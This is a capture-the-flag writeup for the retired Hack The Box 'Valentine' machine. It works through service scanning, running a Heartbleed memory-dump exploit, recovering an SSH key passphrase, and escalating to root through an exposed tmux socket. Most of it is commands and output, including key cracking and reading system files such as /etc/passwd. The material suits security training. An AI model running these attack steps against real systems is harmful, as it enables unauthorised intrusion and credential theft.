Hack The Box Valentine Writeup

Published: September 16, 2024, updated: January 6, 2025

This is a writeup for the retired Hack The Box Valentine machine.

Solution summary

The Valentine machine runs outdated software including an old version of the OpenSSL library, vulnerable to Heartbleed (CVE-2014-0160).

Using this vulnerability, an attacker can decrypt SSH keys held by Valentine’s Apache HTTP Server. After gaining access to a regular user account, a tmux session with improper read and write permissions allows gaining root privileges.

Solution

The steps to solving this machine are:

  1. Identify running services with Nmap
  2. Crawl files on web server
  3. Retrieve encrypted private SSH key from server.
  4. Find Heartbleed vulnerability.
  5. Use Heartbleed to dump memory out of OpenSSL library used in Apache HTTP Server.
  6. Find SSH key password in memory dump.
  7. Access hype user account and retrieve user flag.
  8. Perform enumeration on local machine and identify privilege escalation vector.
  9. Use open root tmux session to retrieve root flag.

Nmap

nmap -oX machines/valentine/nmap.xml -sV -A -sC 10.10.10.79
Starting Nmap 7.94 ( https://nmap.org ) at 2024-09-16 08:27 JST
Nmap scan report for 10.10.10.79
Host is up (0.16s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 5.9p1 Debian 5ubuntu1.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   1024 96:4c:51:42:3c:ba:22:49:20:4d:3e:ec:90:cc:fd:0e (DSA)
|   2048 46:bf:1f:cc:92:4f:1d:a0:42:b3:d2:16:a8:58:31:33 (RSA)
|_  256 e6:2b:25:19:cb:7e:54:cb:0a:b9:ac:16:98:c6:7d:a9 (ECDSA)
80/tcp  open  http     Apache httpd 2.2.22 ((Ubuntu))
|_http-server-header: Apache/2.2.22 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
443/tcp open  ssl/http Apache httpd 2.2.22 ((Ubuntu))
|_http-server-header: Apache/2.2.22 (Ubuntu)
|_ssl-date: 2024-09-15T23:17:31+00:00; -10m32s from scanner time.
|_http-title: Site doesn't have a title (text/html).
| ssl-cert: Subject: commonName=valentine.htb/organizationName=valentine.htb/stateOrProvinceName=FL/countryName=US
| Not valid before: 2018-02-06T00:45:25
|_Not valid after:  2019-02-06T00:45:25
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_clock-skew: -10m32s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 31.23 seconds

Potential vulnerabilities:

Website at http(s)://valentine.htb

The next step is to crawl directories and files on http://valentine.htb using feroxbuster. The following show screenshots of the landing page served on port 80 and 443.

Site visible at 80/TCP/HTTP

Site visible at 80/TCP/HTTP Open in new tab (full image size 64 KiB)

Site visible at 443/TCP/HTTPS

Site visible at 443/TCP/HTTPS Open in new tab (full image size 68 KiB)

feroxbuster here uses the raft-medium-directories.txt word list and explicitly filters out 404 status codes:

feroxbuster \
  --url http://10.10.10.79 \
  --wordlist=SecLists/Discovery/Web-Content/raft-medium-directories.txt \
  --quiet -C 404 --collect-backups

Four interesting pages turn up after feroxbuster finishes:

[...]
301      GET        9l       28w      308c http://10.10.10.79/dev => http://10.10.10.79/dev/
200      GET        8l       39w      227c http://10.10.10.79/dev/notes.txt
200      GET        2l     1794w     5383c http://10.10.10.79/dev/hype_key
200      GET        1l        2w       38c http://10.10.10.79/index
200      GET      620l     3539w   275344c http://10.10.10.79/omg.jpg
200      GET        1l        2w       38c http://10.10.10.79/
200      GET       25l       54w      552c http://10.10.10.79/decode.php
200      GET       27l       54w      554c http://10.10.10.79/encode
[...]

Decoding hype_key

feroxbuster finds dev/hype_key, containing a long series of hexadecimal values.

File dev/hype_key

File dev/hype_key Open in new tab (full image size 271 KiB)

What could be in hype_key? You can reverse the hexadecimal encoded file using xxd like so:

xxd -r -p machines/valentine/hype_key

Shocking, an RSA private key. Here are the (abbreviated) contents.

-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,AEB88C140F69BF2074788DE24AE48D46

DbPrO78kegNuk1DAqlAN5jbjXv0PPsog3jdbMFS8iE9p3UOL0lF0xf7PzmrkDa8R
[...]
RUgZkbMQZNIIfzj1QuilRVBm/F76Y/YMrmnM9k/1xSGIskwCUQ+95CGHJE8MkhD3
-----END RSA PRIVATE KEY-----

Store this key in machines/valentine/hype_rsa. Next, you need to find out which lock this key fits. The second line in the key contains the keyword ENCRYPTED. This means that someone encrypted this key, and that you have to find the passphrase for this key.

openssl rsa -in machines/valentine/hype_rsa -text -noout

It doesn’t work with an empty passphrase:

Enter pass phrase for machines/valentine/hype_rsa:
Could not read private key from machines/valentine/hype_rsa
40879803517F0000:error:1C800064:Provider routines:ossl_cipher_unpadblock:bad decrypt:providers/implementations/ciphers/ciphercommon_block.c:124:
40879803517F0000:error:04800065:PEM routines:PEM_do_header:bad decrypt:crypto/pem/pem_lib.c:467:

John also isn’t successful at finding a passphrase:

# Make sure a recent ssh2john is installed, otherwise the script will not
# work due to a Python 3 compatibility issue
ssh2john.py machines/valentine/hype_rsa > machines/valentine/hype_rsa.john
john --wordlist=(tar -xvzf SecLists/Passwords/Leaked-Databases/rockyou.txt.tar.gz -O | psub) \
  machines/valentine/hype_rsa.john
# Try shorter list but with rules
john --wordlist=SecLists/Passwords/xato-net-10-million-passwords-1000.txt \
  --rule=d3ad0ne machines/valentine/hype_rsa.john
# See if anything comes up
john --show machines/valentine/hype_rsa.john

Since this isn’t a password cracking challenge, attempting any further cracking isn’t needed.

0 password hashes cracked, 1 left

This machine requires a different solution angle. Without the passphrase you won’t be able to see if this private key matches any of the public keys retrieved so far.

Back to Nmap

At this point I realized that I have missed something. I ran Nmap one more time, making sure I haven’t missed anything:

nmap -oX machines/valentine/nmap_vulns.xml --script "vuln" 10.10.10.79

Nmap reveals a few vulnerabilities and ssl-heartbleed immediately sticks out:

[...]
| ssl-heartbleed:
|   VULNERABLE:
|   The Heartbleed Bug is a serious vulnerability in the popular OpenSSL
cryptographic software library. It allows for stealing information intended to
be protected by SSL/TLS encryption.
|     State: VULNERABLE
|     Risk factor: High
|       OpenSSL versions 1.0.1 and 1.0.2-beta releases (including 1.0.1f and
1.0.2-beta1) of OpenSSL are affected by the Heartbleed bug. The bug allows for
reading memory of systems protected by the vulnerable OpenSSL versions and
could allow for disclosure of otherwise encrypted confidential information as
well as the encryption keys themselves.
|
|     References:
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0160
|       http://www.openssl.org/news/secadv_20140407.txt
|_      http://cvedetails.com/cve/2014-0160/
[...]

Heartbleed

Here you are going to learn how to use a heartbleed exploit proof of concept (PoC) hosted here and read out a long binary dump of “heartbled” memory into machines/valentine/heartbled.bin.

This writeup assumes that your machine runs Python 3, not Python 2. The exploit author wrote this PoC for Python 2, and it doesn’t work with Python 3. To run the script with Python 3, first convert it using 2to3:

2to3 -w machines/valentine/heartbleed.py

After 2to3, there were still some issues with bytes and string data type confusion. Using a type checker like pyright, try fixing these type issues.

To store the “heartbled” memory dump, use the --rawoutfile flag:

python3 machines/valentine/heartbleed.py 10.10.10.79 \
    --rawoutfile=machines/valentine/heartbled.bin

Finding credentials in the memory dump

Using strings you can find interesting strings in this heartbled.bin file:

strings machines/valentine/heartbled.bin

The $text=... variable looks interesting.

[...]
$text=aGVhcnRibGVlZGJlbGlldmV0aGVoeXBlCg==y3
M{(9
[...]

Use base64 -d to decode it:

echo "aGVhcnRibGVlZGJlbGlldmV0aGVoeXBlCg==" | base64 -d

base64 -d decodes the following string:

heartbleedbelievethehype

Is this the secret to cracking the hype_rsa RSA key? Enter this as a passphrase into openssl rsa and cross your fingers.

openssl rsa -in machines/valentine/hype_rsa -text -noout

It works. OpenSSL shows the following (abbreviated) information from the successfully decrypted private key:

Private-Key: (2048 bit, 2 primes)
modulus:
    00:d4:53:78:99:70:30:9f:78:20:88:30:bf:37:e0:
[...]
    5f:2e:0b:9f:22:f2:b1:3f:6d:a0:f3:5b:61:8c:2b:
    b2:55:70:0b:cf:8a:e9:ee:d8:9d:10:79:68:3c:b1:
    53:b2:b4:b2:f1:3d:5c:4f:ac:f2:83:6f:b0:81:12:
    4c:cd
publicExponent: 65537 (0x10001)
privateExponent:
    20:6a:01:ce:42:df:59:69:08:66:62:32:bf:00:04:
    7d:99:ff:95:84:85:2e:1c:f7:49:93:60:72:5c:d5:
[...]
    c8:65:dc:39:8c:85:bd:ed:4b:89:c0:de:94:dc:d1:
    0d
[...]
coefficient:
    00:9e:da:39:ba:ab:80:ed:43:e9:93:bc:e0:6b:0a:
[...]
    ac:6b:b7:89:16:91:ea:79:a8:c9:58:07:37:d2:a3:
    8e:d4:80:65:35:5a:1e:87:10

While you’re at it, remove the password from the SSH key using the following command:

# Make sure ssh won't complain about file permissions
chmod 600 machines/valentine/hype_rsa
# heartbleedbelievethehype
ssh-keygen -p -f machines/valentine/hype_rsa

SSH access

Now that you acquired a usable SSH key, try to log in:

# Thanks to
# https://stackoverflow.com/a/73833149
# for the workaround option used here:
ssh -o PubkeyAcceptedKeyTypes=ssh-rsa -i machines/valentine/hype_rsa hype@10.10.10.79

You’re inside now and you can immediately retrieve the user flag:

[...]
hype@Valentine:~$ whoami
hype
hype@Valentine:~$ ls
Desktop    Downloads  Pictures  Templates  Videos
Documents  Music      Public    user.txt
hype@Valentine:~$ cat user.txt
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX

The user flag is XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX. Now you need to find the root flag.

Device enumeration

Run a full device enumeration using the following script:

#!/bin/bash
set -o pipefail
sedscript="1h;1s/./=/gp;x;1p;x;1p"
function run ()
{
        echo "BEGIN $1" | sed -n "$sedscript"
        if $1 |& cat; then
                echo "END $1" | sed -n "$sedscript"
        else
                echo "FAIL $1" | sed -n "$sedscript"
        fi
}
commands=("uname -a"
"whoami"
"hostname"
"cat /etc/os-release"
"lspci -nn"
"lscpu"
"systemctl status"
"ps aux"
"ip link show"
"ip address show"
"ip route show"
"cat /etc/passwd"
"cat /etc/group"
"iptables --list"
"ss -tl")
for command in "${commands[@]}"; do
        run "$command"
done

Pass the script to the hype user like so:

ssh -o PubkeyAcceptedKeyTypes=ssh-rsa -i machines/valentine/hype_rsa \
  hype@10.10.10.79 \
  bash -s < machines/valentine/enumerate.sh > machines/valentine/enumerate.log

Here are a few running processes from ps aux that could be useful:

[...]
============
BEGIN ps aux
============
[...]
root        955  0.0  0.2  49952  2852 ?        Ss   Sep15   0:00 /usr/sbin/sshd -D
root       1043  0.0  0.0  19976   976 tty4     Ss+  Sep15   0:00 /sbin/getty -8 38400 tty4
root       1053  0.0  0.0  19976   976 tty5     Ss+  Sep15   0:00 /sbin/getty -8 38400 tty5
root       1060  0.0  0.1  26416  1676 ?        Ss   Sep15   0:06 /usr/bin/tmux -S /.devs/dev_sess
root       1063  0.0  0.4  20652  4580 pts/15   Ss+  Sep15   0:00 -bash
root       1066  0.0  0.0  19976   972 tty2     Ss+  Sep15   0:00 /sbin/getty -8 38400 tty2
root       1067  0.0  0.0  19976   968 tty3     Ss+  Sep15   0:00 /sbin/getty -8 38400 tty3
root       1072  0.0  0.0  19976   976 tty6     Ss+  Sep15   0:00 /sbin/getty -8 38400 tty6
[...]
==========
END ps aux
==========
[...]

What could that tmux session be? Is it accessible?

tmux

You’ve found ourselves a tmux session. Inspect the session file:

hype@Valentine:~$ ls -la /.devs/dev_sess
srw-rw---- 1 root hype 0 Sep 15 16:16 /.devs/dev_sess
hype@Valentine:~$ file /.devs/dev_sess
/.devs/dev_sess: socket

For some reason, the current hype user’s group can access the file (rw flag set). The file is a UNIX domain socket that allows you to connect to a tmux session. Try to connect to it using tmux -S:

hype@Valentine:~$ tmux -S /.devs/dev_sess list-sessions
0: 1 windows (created Sun Sep 15 16:16:09 2024) [80x24]
1: 1 windows (created Sun Sep 15 23:47:37 2024) [120x34]
hype@Valentine:~$ tmux -S /.devs/dev_sess attach-session -t 0
[exited]

This gives you a root shell and you can find the root flag:

root@Valentine:/# cat /root/root.txt
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
That did the trick

That did the trick Open in new tab (full image size 21 KiB)

Tags

I would be thrilled to hear from you! Please share your thoughts and ideas with me via email.

Back to Index